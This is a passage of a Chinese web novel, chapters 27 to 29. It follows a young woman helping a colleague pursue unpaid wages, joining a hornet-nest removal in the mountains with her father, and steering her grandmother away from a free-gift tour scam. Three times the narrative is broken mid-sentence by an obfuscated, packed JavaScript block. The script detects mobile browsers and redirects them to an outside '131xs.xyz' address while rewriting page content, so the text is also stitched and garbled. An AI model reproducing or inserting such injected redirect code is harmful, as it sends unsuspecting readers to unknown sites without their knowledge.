两人恋恋不舍地走出小区,在对面的便利店买了两份盒饭,微波炉热好后,端到窗前的桌板上。 常乐三两口吃完,给自己灌了半瓶水,问珍姐:“下午还蹲吗?” 珍姐苦笑:“再花一百块?这讨薪的成本是不是有点太高了?” 常乐叹了口气。 珍姐盖上盒饭的盖子,慢悠悠地说:“我觉得,咱们可能要打持久战。我有个办法,有点麻烦,但是省钱。” 常乐眼睛一亮:“什么?” 珍姐伸出手,“借你手机一用。” 常乐将手机解锁,递给她。 珍姐打开她的最近通话,拨通最上面的号码。 几秒钟后,电话接通,珍姐语调上扬:“哎,小叶啊,是我,上午找你带看过。” 常乐疑惑地看着她。 珍姐停顿片刻,将手机换了一边,语带笑意:“我想问一下,你们店还招中介吗?” 27. 27 吃过午饭,常乐就陪着珍姐去面试了。 中介门店离小区不远,走路五分钟就到了。珍姐说明了来意后,被带入里面的小房间单独谈话。 常乐坐在前台,跟小叶聊着天。 趁着旁边没有其他人,小叶好心提醒:“我们这儿底薪很低的,新人刚进来一个月也开不了几单,不知道你姐能不能接受。” 常乐小声问:“多少啊?” 小叶伸出两根手指。 常乐松了口气。反正珍姐醉翁之意不在酒,讨债的同时还能赚点外快,这波不亏。 “不过,你应该知道……”常乐话音一顿,左右各瞟一眼,压低声音,“她的目的吧?为什么还愿意当介绍人呢?” 小叶笑道:“嗐,现在很多人干中介,目的都不单纯。有人是为了卖自己的房,有人是为了捡漏低价房,还有的就是来混个底薪和社保。你姐是为了抓奸嘛,想想还挺刺激的。” 常乐不自然地笑了笑。 一想到珍姐入职后,每天都得维持怨妇形象,常乐就觉得挺对不住她的。 又闲聊了一会儿,珍姐出来了,跟小叶道谢,又冲常乐勾了勾手。 常乐跟着她走出门店。 “面试得怎么样?” “让我回去等通知,估计是嫌我年纪大了。” 常乐的眉眼耷拉下来。 珍姐喝一口矿泉水,反倒来安慰她:“没事儿,这附近还有好几家中介店,我挨个去试试,总能进一个吧?大不了我不要底薪。我就不信,我一个免费劳动力还没人要了。” 常乐发自内心地佩服她。有这份破釜沉舟的决心,她干什么都会成功的。 时候不早了,常乐叫了辆顺风车,回到家时天已经全黑了。 家人都坐在餐桌边等她。 “怎么样怎么样?”林文娟急切地问。 常乐上了个厕所,出来后才慢悠悠地说:“老板没来,来的是他的小三,她给了我们老板的老婆家的地址,我们找上门,没人。我同事决定当中介去蹲点。就这样。” 一家人你看看我,我看看你。 “……好复杂的人际关系。”常建民喃喃道。 “对了,”常乐看向姥姥,“我还碰到小杨了,她说电疗仪你尽管用,他们公司都垮了,没人会来找你麻烦。” 姥姥拍拍巴掌,面露喜色:“好哇!我就知道我运气好。那个地方又开了家新店,今天在发鸡蛋,我排了好几轮,领了五盒呢。” 常乐额角一抽,“是干什么的?” “没问。”姥姥起身走进厨房,过了会儿又出来,手里拿着一张花花绿绿的传单,“鸡蛋盒里塞了这张纸,好像是搞什么旅游团的,你看看。” 常乐接过传单,扫了一眼—— 景德镇两日游,299元/人; 厦漳泉五日游,599元/人; 云南七日游,799元/人; 珠港澳五日游,999元/人; 包吃包住,五星住宿,金牌导游,贴心照顾…… 价格低得离谱。常乐把传单扔到桌上,不屑道:“又是那种购物团,千万别信。” 姥姥收起传单,跃跃欲试道:“报名能送空气炸锅呢。” 常乐叹了口气。 电饭煲的教训你是一点没记住啊。 -- 第二天是周末,一大清早,常建民就鬼鬼祟祟地溜进常乐房间,伏在她的耳边问:“乐宝,我的无人机呢?” 常乐迷迷糊糊地翻了个身,含混地嘟囔道:“在那个、那个……” 常建民回头环视一圈,又摇摇她的肩膀,“哪个啊?” 常乐勉强恢复一点神志,边打哈欠边说:“衣啊啊啊柜下层——” 常建民急匆匆地打开衣柜,端出一个白色包装盒,打开,将里面的配件一一取出,摆放在床上。 “你这几天用过吗?” 常乐含糊地“嗯”了一声,用被子蒙住头,打算把做了一半的梦继续接上。 常建民一边检查设备,一边嘀嘀咕咕:“这个怎么装啊?这是什么?有说明书吗?怎么开机啊?……” 常乐忍无可忍,腾地一下坐起身,顶着一个乱蓬蓬的鸡窝头,对常建民发飙:“爸!你就不能拿回去慢慢研究?一大清早的,非得来折磨我是吧?” “哎呀没时间了。”常建民左手拿着无人机,右手举着遥控器,愁眉苦脸地说,“方师傅今天就得用。” 常乐清醒了一点,揉了揉眼睛,在记忆库中搜索片刻—— “那个捞男?” 常建民替他的偶像辩解:“什么捞男,别瞎说,人家是专业捕蜂人。” 常乐眉头一皱,“他来找你要无人机了?” “我给他送过去。”常建民报出一个常乐从未听过的地名,又说:“我查过了,开车过去要两个小时,我得早点出发。” 常乐连声啧啧。 花钱买贵重礼物、热脸贴冷屁股、大老远去见人家,这跟疯狂追星粉有什么区别? 那个方师傅到底有什么魅力,能把这个中年老男人迷成这样? 常乐思索片刻,穿上居家服,爬下床。 “爸,我陪你去吧。” 常建民惊讶道:“你也去?那地方挺远的,后半段都是山路,我怕你吃不消。” 常乐指着他手里的无人机,说:“我在小区里试过几次,基本会用了。你现在学也来不及了,不如带我去。” 常建民犹豫了下,同意了:“那……也行吧,给你十分钟时间。” 常乐钻进洗手间,快速洗漱。 她倒不是对那个魅魔有多大兴趣,主要是担心她的老父亲,居然敢跟一个陌生人钻深山老林。他就不怕囫囵个儿进去,散装着出来? 一点戒备心都没有,真是白活了这么多年。 天色微亮,父女俩就出发了。常建民开车,常乐躺在后排补觉。 山路弯弯绕绕,崎岖不平,又是一个急拐弯,“扑通”一声,常乐的脑袋撞上了车门。 “嘶——”她彻底醒了,捂着头顶哀嚎。 “没事吧?”常建民回头瞥她一眼。 常乐慢慢坐起身,望着窗外连绵起伏的山峦,心情不佳。 冬天的山就像婴儿的头顶,稀稀拉拉地竖着几根枯黄的毛发。 一想到跑那么远就为了给某人送无人机,她的心情更差了。 又过了半小时,小车终于驶进这个叫余家寨的小村子,又在村里绕来绕去。常建民几次停车,向路边的村民打听,才在村子的边缘找到那户蜂农的家。 常乐下了车,伸了个懒腰,环视一圈—— 身后是一栋灰白色的水泥平房,院子里整整齐齐地堆放着几十个木头箱子,一群蜜蜂在绕着箱子飞舞。 从平房里走出一个大婶,端着两杯茶,满脸笑意地迎了上来。 “是方师傅吧?一路上辛苦了。来来来,喝点茶。” 常建民接过她手里的茶杯,解释道:“我不是方师傅,我是来给他送东西的。他还没到吗?” “没呢。”大婶脸上笑意不减,另一杯茶端给常乐,“累了吧?来,坐这歇会儿。” 常乐坐在门口的小板凳上,小口啜着热茶,听大婶介绍:“我们是养蜂子的,冬天一般待在家里,让蜂子们休息过冬。今年不知道怎么回事,来了一波马蜂,把我家蜂子咬死一大片。以前都没有啊,马蜂一般是夏天和秋天比较多,我们见到就打死了……” 她絮絮叨叨说个不停,常乐见缝插针地说:“听说今年是个暖冬,马蜂活了下来,所以比往年要猖獗。” “哦,难怪。”大婶若有所思,“这东西真是害人,以前把我家老头子半边脸都蜇肿了,要不是及时送到医院,他这条命怕都保不住了。” 常乐对此深有感触:“我小时候也是,头肿得老大了……” 她正说着,忽然听到一阵摩托声由远及近。 常乐顺着小路望去,竟然看到一辆许久未见的边三轮,在土路上一颠一颠,如同在风浪里颠簸的船。 年少的记忆也如海浪般涌来,常乐不由得笑了。 边三轮在小车旁停下,从摩托车上下来两个男人,一个是方煦。他一眼认出了常乐,呲着大白牙跟她打招呼。 另一个,摘下头盔后,仿佛是方煦的成年版。 一样的小麦肤色,一样的黑亮眼瞳,但他比方煦高一个头,身材更加魁梧结实,脸部线条也更加棱角分明。 整个人站那儿,不说话,就气场十足。 常建民急忙迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672442|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,伸出双手,“哎呀,方师傅来了?一路上累了吧?” 男人跟常建民握了下手,语气淡淡的:“常叔叔,别那么客气,叫我小方就行。” 常建民满脸笑容,“不不不,还是得讲规矩,我叫你方师傅,你叫我老常。” 常乐“嘶”了一声,转过脸。 这谄媚的嘴脸简直没眼看。 “这位是?”男人的视线落在她身上。 常建民忙给他介绍:“哦,这是我姑娘,叫常乐。她会用无人机,所以就带她一起来了。”他又向她介绍:“这是方师傅,方凛。” 常乐迎上他的视线,露出职业假笑:“方师傅好。” 方凛点点头,问:“无人机带了吗?” 常乐:……还真直接啊。 而且,这语气,这态度,我是欠你的吗? “带了。”她干巴巴地说,转身翻了个白眼,回到车里,取出无人机。 她将遥控器递给他,试探道:“要我教你怎么用吗?” 方凛仰头观察着天空,似乎在目测云层的厚度。 思索片刻,他说:“今天来不及了,先干活吧,待会儿你负责操作无人机,我来指挥。” 方煦从边三轮的车斗里扛下来一个大布袋,一只胳膊伸到里面翻翻找找,最后掏出一个透明塑料袋,里面装着一块—— 猪肉? 常乐瞪大眼睛。谁要开饭了? 方凛接过塑料袋,绕着蜂箱堆转了一圈,最后找了个蜜蜂最多的蜂箱,将这块巴掌大的肉放在出口处。 方煦向其他人介绍:“这是早上刚买的,还新鲜着呢,马蜂闻着味儿就来了。” “马蜂还吃肉啊?”常乐闻所未闻。 方煦笑了下,“外面的猪肉摊上经常有马蜂,你没注意到吗?” 常乐摇摇头。她以前见过,还以为那是苍蝇呢。 方凛回过头,眉心微蹙,冲他们摆摆手。 方煦解释道:“我哥叫我们别说话,离远点。” 于是,几个人搬来小板凳,隔着两米远,坐在蜂箱周围,盯着那块肉,大气也不敢出。 方凛则蹲在蜂箱边,屏气凝神,等待着马蜂出现。 不知过了多久,常乐终于看到一只马蜂,悠悠荡荡地飞过来,落在猪肉上。 它比普通蜜蜂大很多,黄黑相间,翅膀细长。 也许是有童年的心理阴影,常乐一看到它就浑身不舒服,鸡皮疙瘩起了一身。 只见方凛从口袋里掏出一根细长的鱼线,绕过马蜂纤细的腰部,又用小剪刀剪断鱼线,只留一公分长,在另一头系上一片白色羽毛。 这片羽毛足有半个巴掌大,但很轻柔,系在马蜂身后,仿佛飘在空中。 马蜂正专注地啃噬着猪肉,根本没注意到身后人的小动作。 最后,方凛绕过马蜂的嘴,用小剪刀剪下一小块猪肉。马蜂咬着这块肉,快速振动翅膀,吃力地飞了起来。 方凛迅速起身,转头看向常乐,“快,无人机跟上。” 常乐这才反应过来,“哦”了一声,将无人机摆在地上,双手持遥控器,操纵无人机直直地向上飞。 几只脑袋凑了过来,盯着遥控器中间的显示屏。 方凛纵身一跃,攀上平房的楼顶,目光紧紧追随着马蜂的背影,沉声指挥:“低一点,往西南方向飞。” 常乐手指一顿。 啊?西南?哪边是西?哪边是南? 常建民急忙掏出手机,“别急啊,我查查指南针。” 方凛脸色一沉,拧眉望着这对父女,眼里写满了无语。 方煦指着右前方,急声叫道:“往那儿飞!东南西北,这点常识都没有吗?” 常乐赶紧调整无人机的飞行方向,可惜,就这么一会儿的工夫,马蜂已经消失得无影无踪了。 方凛深深叹了口气,跳下平房,从大布袋里掏出一根约两米长的粗麻绳,走到院外的一棵杨树下,麻绳环树半圈,双脚踩树,用力一蹬,然后—— 就这么噌噌噌地爬了上去。 常乐看得目瞪口呆。 这……怎么做到的?他是猴子变的吗? 常建民忍不住发出赞叹声,凑到常乐耳边,得意地说:“我跟你说过吧,他很厉害的。” 28. 28 方凛只花了半分钟就攀上了树顶,站在一根粗斜的树枝上眺望远方。 片刻后,他低头俯视常乐,指挥道:“九点钟方向。” 常乐在脑子里数了一圈才转过来。 她一边调整方向,一边嘀咕,搞什么军事术语,就不能直接说前后左右嘛。 方凛又冲她喊:“飞低点。” 常乐依言调整了高度,终于在屏幕中捕捉到了那一抹白,轻飘飘的,在树林上方飘舞。无人机跟在它后面,钻进了山林深处。 最后,白色羽毛消失在了一片松树林里。 “它不见了。”常乐急忙大喊。 “知道了。”方凛又用麻绳套住树干,双脚连蹬带滑,十几秒就从树上滑了下来。 他走到常乐身边,伸手,“给我看看视频。” 视频看完,他已经有了判断。他回过头,叮嘱方煦:“把东西带上,咱们出发。” 无人机缓缓飞回,落在原地。常乐装好设备,放回车上,眼看常建民就要跟他们一起进山了,她急忙小跑着追上去。 方凛回头看见她,奇怪道:“你跟过来干什么?” 常乐理直气壮道:“我爸去哪儿我就去哪儿,我要保证他的安全。” 方凛一脸黑线。 常建民面露尬色,解释道:“方师傅,我姑娘没见过捉马蜂,想跟过去见见世面。” 方凛冷冰冰地说:“防护服只有三套,还是因为你要来,特意多准备了一套。” 常乐很快反应过来,转头对方煦说:“小弟弟,你先回去歇着吧,小孩子干这种事太危险了。” 方煦很不服气:“我已经跟我哥干了三年了!” 常乐笑嘻嘻道:“所以啊,不差这一次。你就让我去吧,我难得来一次,总不能错过重头戏吧?” 方煦哑口无言。僵持片刻,他扔下肩上的大布袋,气哼哼地说:“这袋东西归你了。” 说完扭头就走了。 常乐满不在乎地拎起大布袋,笑容一下子僵住了。 这也太沉了,里面都装了些什么啊? 她用双手抓住布袋口,使出吃奶的劲儿,往肩上一甩,整个人差点跌坐在地上。 布袋里丁零当啷的,像是装了许多酒瓶。 “你小心点。”方凛的话证实了她的猜想,“里面有一壶白酒,别撞碎了。” 常建民急忙伸出援手,托住布袋的底部,说:“乐,你先扛一段路,待会儿换我。” 只能这样了。常乐郁闷地盯着方凛那张面无表情的脸,放弃了请他出手相助的念头。 前面的山路还算好走,十几分钟后,他们钻进了林子里,脚下是厚厚的松针和盘根错节的树根。幸好冬天的松树枝叶稀疏,没有挡住光线,常乐才得以看清脚下,不至于被土坑绊倒。 大布袋换到了常建民的肩上。常乐双手托着袋底,看着老父亲佝偻的背影,重重地叹了口气。 这是图什么啊? 一大把年纪了,还学年轻人户外探险,这一身老胳膊老腿都快累散架了,她看着都心酸。 不知走了多久,前面带路的方凛终于停下脚步,回过头,示意父女俩将布袋放下。 常建民长吁一口气,扶着老腰坐在一棵松树下,气喘吁吁地问:“到了?” “快了。”方凛走到布袋旁,从里面掏出三件棕色防护服,扔在地上,“先把衣服换上。” 他捡起一件,先将双腿塞进去,然后提起裤子,穿好上衣,戴上兜帽——兜帽前面用一块透明塑料板挡着脸,口鼻处有细密的小孔——最后,他将胸口的拉链拉到顶,将自己裹得严严实实的。 常乐挑了件干净的防护服,按照他的步骤,将自己包裹进来。 这衣服不知道是用什么材质做的,很厚实,挂在身上简直像穿了一件吸满水的浴袍。幸好面罩能透气,不影响呼吸和说话。 “好重啊。”常建民感叹道。他吃力地抬起胳膊,感觉比平时要笨重百倍。 方凛弯下腰,从布袋里掏出一个捕虫网,递给常乐,又提起一个大玻璃罐——里面装着半罐透明的液体,估计是白酒——交给常建民。自己则一手拿着工兵铲,一手提着纱布袋,继续往树林深处走去。 走了十几米远,他停了下来,笃定地说:“就这儿了。” 常乐赶紧仰起头,环视一圈,头顶的树枝清瘦稀疏,只看见几个鸟窝,哪有马蜂窝的影子。 “不在上面。”方凛说,“在你脚下。” “啊???”常乐吓得寒毛倒立,瞬间跑出去几米远。 她刚刚站在在两棵树中间,地面是倾斜的,下方有个约一米深的土坑。方凛跳下土坑,冲两人勾勾手。 “过来,做好准备。” 常乐挪动着小碎步,跟在常建民身后,跳进了土坑。她蹲在地上,双手抱住捕虫网,瑟瑟发抖。 待会儿就用这个对付马蜂吗?看起来好不靠谱啊。 现在跑还来得及吗? 常建民也怕得不行,具体表现在他拧玻璃罐的盖子时,颤颤巍巍地拧了半分钟,都没拧开。 方凛回头看他一眼,一脸无语:“反了。” “……哦哦。”常建民尴尬地笑笑,立刻调转方向,将盖子拧开,放到一旁。 方凛向两人交代道:“待会儿我来拆马蜂窝,马蜂肯定会四处乱飞,你们就负责抓住马蜂,把它们塞进酒罐里,就这么简单。” 卧龙凤雏对视一眼。 “嗯!”他们异口同声,“没问题。” 方凛拂开厚厚的松针,松软的土壁上出现了一个拳头大的洞口,他用工兵铲铲掉洞口周围的泥土,渐渐地,一个足足有半米宽,四、五层摞在一起的蜂窝就显露了出来。 常乐震惊得还来不及尖叫,就看见成群结队的马蜂从洞口冲了出来,伴随着嗡嗡的鸣响,直奔她的脸。 她的头皮都炸了。 每一只都有小拇指那么长,气势汹汹地冲过来,趴在她的面罩上,试图将屁股上的长刺从呼吸孔里戳进来。 常乐此生没见过这么惊悚又恶心的场面。 她吓得呆若木鸡,连哭喊都发不出声。 她一只手拿着捕虫网,在空中乱七八糟地挥舞,试图驱赶进击的马蜂。另一只手胡乱拍打着面罩,想把挡住视线的马蜂给赶走。 几只马蜂被拍死了,尸体四分五裂地黏在面罩上,黏液缓缓往下淌。 ……更恶心了。 常乐“呕”了一声,稍稍恢复了理智,深吸一口气,举起捕虫网,对准空中飞舞的马蜂挥舞过去,一下子捉到了三只。 “来来来。”常建民急忙递来玻璃罐。 常乐将捕虫网罩在罐口,抖了几下,马蜂接二连三地落进了白酒里。 如此重复十几次,玻璃罐里的马蜂越来越多,密密麻麻地浮在酒里,有的已经被灌醉了,有的还在极力扑腾。 方凛这边,也将马蜂窝整个搬了出来,装进纱布袋里,土壁上只剩一个巨大的洞穴。 常乐看到蜂窝里嵌着一个个白色卵状物,里面有黑点在蠕动。 “呕——”她又忍不住了。 最后一步,活捉蜂后。 方凛从洞穴深处揪出一只肥硕的马蜂,装进随身携带的玻璃瓶里。 常乐记得,他在来的路上说过:“只有找到蜂后,才算彻底摧毁了这个马蜂窝。” 空中飞舞的马蜂越来越少,只剩下几个残兵败将,成不了气候。 常乐起身时,看到一片白色羽毛,在空中忽上忽下。 一开始那只马蜂竟然还活着。 他们的老朋友,念在它带路有功,常乐决定放它一马。 几个人带着各自的战利品,回到分装备的地方,脱下厚厚的防护服。 常乐长吐出一口气。大冬天的,她居然闷出了一身臭汗。 “好玩吧?”常建民换好衣服,冲她挑挑眉。 常乐回味片刻,总结道:“又恶心又爽。” 就像网上那种挤痘痘、掏耳朵、抠头皮的视频,有人看了想吐,有人视若宝藏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675871|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去的路上,方凛主动肩负起扛装备的重任。 或许是良心发现,又或许是觉得,父女俩第一次出任务,精神遭受了重创,需要休息一下,来平缓心绪。 总之,回去时,常乐提着白酒,常建民拎着纱布袋,父女俩脚步轻盈,心情愉悦,仿佛是春游归来。 很快就回到了蜂农家。方煦就坐在门口,双手捧着手机,沉浸在游戏的世界里。看到他们凯旋而归,他也只是抬了抬眼,懒洋洋地打了声招呼。 大婶热情地迎上来,给他们一人端来一碗面,荷包蛋煎得两面金黄,肉片和青菜相映成辉,琥珀色的汤汁清透诱人。 常建民还假模假样地推脱了一番,常乐则毫不客气地捧着碗,坐在小板凳上大口吃了起来。 庆功宴总是格外香,这是对勇敢者的奖励。 吃完面条,方凛和方煦向大婶道了谢,收拾东西准备离开了。 常乐将无人机和遥控器装回盒子里,端给方凛。 “你自己回去慢慢练吧,里面有说明书,很容易的。” 方凛愣了下,没接。 “给我干吗?” “你不是点名要这个吗?”常乐疑惑地问,“你说要我爸买个无人机,你才肯收他为徒。” 方凛微微蹙眉,视线撇向别处,语气不悦:“你把我当什么人了?是方煦跟我说,你爸有台无人机,我才考虑带他进山。怎么就变成给我买的了?” 常建民赔笑道:“那可能是我误会了。方师傅,这台机器你就拿着吧,我们平时也用不上。你看你,每次都要爬那么高,多危险啊,有了无人机,就不用再爬树了。” 方凛一时没说话,似乎想捋顺前因后果。 常乐暗自嘀咕:收个礼物怎么还扭扭捏捏的呢?你让我爸买无人机,不就是要自己用吗? 她懒得再跟他掰扯,直接把盒子递给方煦。 方煦一脸喜色,正要接过来,又被方凛一个眼刀给吓退了。 “哥,你不是一直想买个无人机吗?”方煦底气不足地说,“正好常叔叔要送你一个,你就拿着用呗。” 方凛冷冷道:“你这两头骗的本事跟谁学的?我想要不会自己买吗?” 方煦讷讷地说:“那你不是舍不得嘛,装备齐全点的要一万多呢……” “再贵也不能伸手找别人要。”方凛冷瞥他一眼,长腿一跨,骑上了摩托车,“要点脸吧。” 方煦急忙跟上去,跨坐在他身后。 方凛冲父女俩点点头,牵起唇角,勉强笑了一下。 “常叔叔,误会一场,你别放在心上。” 常建民又是点头又是鞠躬,还举起手挥了挥,“没事没事,下次有需要,可以随时来找我,我的无人机一直为你留着!” 常乐:“……” 这一套话术哪儿学的?肉麻死了。 引擎轰鸣,边三轮转了个大弯,沿着小路越走越远,扬起一阵烟尘。 常建民还恋恋不舍地盯着他们离开的方向,手都没放下来。 “爸,”常乐啧啧感叹,“上次逛街碰到你单位的领导,你可没这么热情。” 常建民终于放下手,语调恢复了正常:“这能比吗?方师傅在我心中就像大侠一样,我领导就是头猪。” 常乐哈哈大笑起来。 两人回到车上,常乐看着怀里的无人机,忽然有些后悔。 “我还一直骂他捞男呢。”她自语道,“其实他人还不错,三观很正,比他那个弟弟强。” “是啊。”常建民一边开车一边说,“他单身。” ??? 常乐的脸刷地红了,“谁问了?” “以防你对他起小心思,我都提前帮你打探好了。”常建民脸上浮起意味深长的笑,如数家珍道,“他是退伍军人,父母双亡,有个弟弟,在咱们市区有房。他平时帮人捣马蜂窝,周末还会带队去徒步登山。怎么样,有没有兴趣?” “并没有!” 常乐冷哼一声,撇过头望着窗外,懒得搭理他。 29. 29 驶过弯弯绕绕的山路后,常建民跟常乐交换了位置,让她练练手。 又开了一个多小时,终于看见了小区大门。 门口依旧热闹,早上卖包子的那家店,到下午就变成了卤菜摊;水果店门口整整齐齐地堆放着各种水果,颜色鲜艳,琳琅满目;菜鸟驿站里有不少人在排队取包裹;旁边那家不知道卖什么的店,也排起了长队。 常乐眼尖,一眼就看到了队伍里的姥姥。 她正跟一个年轻小伙子争执着什么,看小伙子的动作,似乎想把她请出队伍。 “你姥姥在那儿。”常建民也看见了这一幕,“好像在跟人吵架?” 常乐猜测道:“肯定是她排了好几轮,被店员发现了。你看她手上——” 姥姥手里提着个网兜,兜里至少摞着三盒鸡蛋。 常建民:“你要不下去帮帮她?” “我?”常乐苦着脸,“你信不信,我一出现,她肯定要我排队领鸡蛋。” 常建民调侃道:“那有什么办法?谁让你是二老的保姆呢?” 常乐:“……” 好像是有这么回事。 唉,全职女儿不好当啊。这一天天的,操不完的心,防不完的骗。 常乐无奈地下了车,常建民又坐回驾驶座上,将小车缓缓驶进小区。 “姥,”常乐悄无声息地出现在姥姥身后,假装路过,“你怎么在这儿?” 果然,姥姥一看见她,眼睛一亮,立刻揪住她的胳膊,把她往队伍里塞。 “来来来,你来替我排。”她冲小伙子喊道,“你不让我排,让我外孙女来总可以吧?” 小伙子一脸无奈,说:“她要排也行,可是得从头开始排起,这样才公平。” 常乐“哦”了一声,转身就向后走,排在了队伍最末端。 姥姥迈着小碎步追上去,捶了下她的肩,埋怨道:“你傻啊?我的位置那么靠前,再排一会儿就到了。” “哎呀,不差这一会儿。” 常乐懒得跟她争辩,长叹一口气,低下头开始刷手机。 排了十几分钟,终于轮到她了。女店员递来一张调查表,声音甜腻:“您好,请您登记一下信息。” 常乐扫了一眼,前几项是询问姓名、电话、家庭住址,还算合理。后面又打听她的工作、月收入、存款之类的,她顿时心生反感,拿起笔就是一顿瞎填。 填好后还得扫二维码,加企业微信,加完后还得关注这家店的公众号…… 一顿操作下来,常乐的忍耐已到达极限了,女店员这才笑盈盈地拿起一盒鸡蛋递给她,并介绍道:“美女,可以看看我们旅行社最新推出的厦漳泉五日游活动哦,只要599一个人,最快下周就可以出发。报名就送空气炸锅,双人报名还能送烤箱哦。美女有兴趣了解一下吗?” 姥姥在背后不停戳她的肩。 常乐强忍住烦躁的情绪,礼貌谢绝:“不用了。” 走出门店,常乐把鸡蛋放进姥姥的网兜里,叹气道:“姥,你要这么多鸡蛋干嘛?一盒十个,加上昨天领的,已经有九盒了,吃不完都浪费了。” “怎么吃不完?咱家五口人,一人一天一个蛋,不到三周就吃完了。”姥姥喜滋滋地说,“到时候咱们再来领。” 常乐挽着她往小区里走。 “放不了那么久。”她提醒姥姥,“你没看保质期吗?下周就过期了。” “啊?”姥姥大惊失色,赶紧掏出一盒鸡蛋,眯着眼,盯着盒子上的那串小数字研究了半天。 “还真是!”她扭头就要往回走,“我去找他们换!” 常乐急忙拉住她,劝道:“那些鸡蛋都是从同一个大箱子里拿出来的,保质期肯定都一样啊,算了吧。” 姥姥呆在原地,怔怔自语:“那咋办?这么多蛋,一个星期怎么吃得完啊?” 她忽然灵机一动,“欸,听说做蛋糕要用很多鸡蛋,要不我去学学怎么做?” 常乐笑她异想天开:“你拿什么做?咱家又没有烤箱。” 姥姥指着不远处的门店,兴冲冲地说:“双人报名能送烤箱啊!这不巧了吗?” 常乐:“……” 巧什么巧啊?这么明显的圈套你看不出来? 她一把拽住姥姥的胳膊,把她往小区里拖。 “你还真是给个鱼饵就上钩啊!不就是九十个鸡蛋嘛,煎蛋炒蛋卤蛋水煮蛋茶叶蛋,我三天就给你消灭光!” -- 晚上,吃完全鸡蛋宴,姥爷就把自己关在书房,桌子上架着手机,还用台灯给自己打光,开始每晚的“苏大强模仿秀”。 常乐洗完碗,闲得无聊,叼了个苹果,偷偷溜进书房。 只见姥爷穿着灰色羊毛衫、黑色皮背心,打扮得像模像样的。乍一看确实有几分苏大强的神韵。 他的说话风格也在刻意模仿苏大强,拖着调子,有气无力,跟直播间的网友聊着自己的峥嵘往事,不时回答一下“蔡根花宝贝去哪儿了”之类的弱智问题。 常乐坐在桌侧,瞥了一眼手机上方的数据——直播间人数寥寥,一会儿两位数一会儿三位数,聊天的就那么几个。 偶尔有人打赏,姥爷都兴奋得不行,连声感谢,还起身鞠躬。 中途下播休息,姥爷缓缓地喝着热茶。 “姥爷,这一晚上能赚多少啊?”常乐好奇地问。 姥爷清了清嗓,“没多少,就是解个闷儿,找人聊聊天呗。” “姥爷,给你提个建议。”常乐说,“你说话时,嗓子里要卡着一口痰,这样更像他。” 姥爷“咳咳”两声,声音压得很低:“这样吗?” 常乐笑起来:“哎,不错不错。” 她坐到姥爷对面,认真端详着他,又掏出手机搜索苏大强的照片,举到他脸旁,对比道:“你的眼袋没他的深,眉毛没他的浓,头发比他茂盛一点……” 她忽然想到什么,两眼放光,跃跃欲试,“要不我给你补个妆?很快的!” 不等姥爷反应,常乐就一阵风似地冲出了书房,没一会儿,就提着化妆包兴奋地回来了。 姥爷一脸不乐意:“我怎么能化妆呢?这像什么话?” “苏太强!”常乐双手掐腰,装出一副凶样,呵斥道,“你现在是个网红,要有形象管理的意识!化个妆怎么了?哪个网红不化妆?不化妆怎么上镜?” 见姥爷没吭声,她话锋一转,语气软了下来:“再说了,我又不会给你化大浓妆,顶多是修修补补一下,锦上添花嘛。” 姥爷脸色微动,半晌,终于松口:“那……你稍微化淡点,不合适我就擦掉。” “好嘞!” 常乐兴致勃勃地打开化妆包,先找出眉笔,给姥爷加深了眉色。又用眉笔在他的眼袋上勾勒出线条,然后用小刷子晕染开,形成自然的褶皱。 鱼尾纹和法令纹也用这个方法加深。 最后是发际线。常乐有些犯难。 给他剃掉吗? 会不会牺牲太大了?就为了做个直播,值得吗? “姥爷,你前面的头发太多,我给你拔掉吧?” 姥爷大惊失色,赶紧伸手护住脑门,“不行不行!本来头发就不多!” 常乐装作为难:“那怎么办?你看看人家,发际线都退到头顶了,你不拔,就不像他了。要不……”她沉吟片刻,“我给你剃掉?” 姥爷陷入了两难,考虑许久,才勉强同意:“那……也行吧,你尽量少剃点。” 常乐强忍住内心的激动,掏出修眉的小刀,一寸一寸地给他刮出一个M型发际线。 最后,她举起镜子,给姥爷展示化妆后的成果。 姥爷脸皱成一团,嫌弃道:“这脸上一道道黑的是什么啊?我有这么老吗?这脑门也太大了,不行不行……” 常乐一边收拾工具一边笑道:“姥爷,这种妆要上镜才好看,不信你打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687215|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播。” 姥爷半信半疑地打开直播,不得不说,有了化妆和滤镜的加持,屏幕上的这张脸确实看上去更自然,也更像苏大强。 他慢慢接受了自己的模样,正襟危坐,开始讲话:“大家好,我又回来了……” 常乐小声提醒他:“痰、痰!” 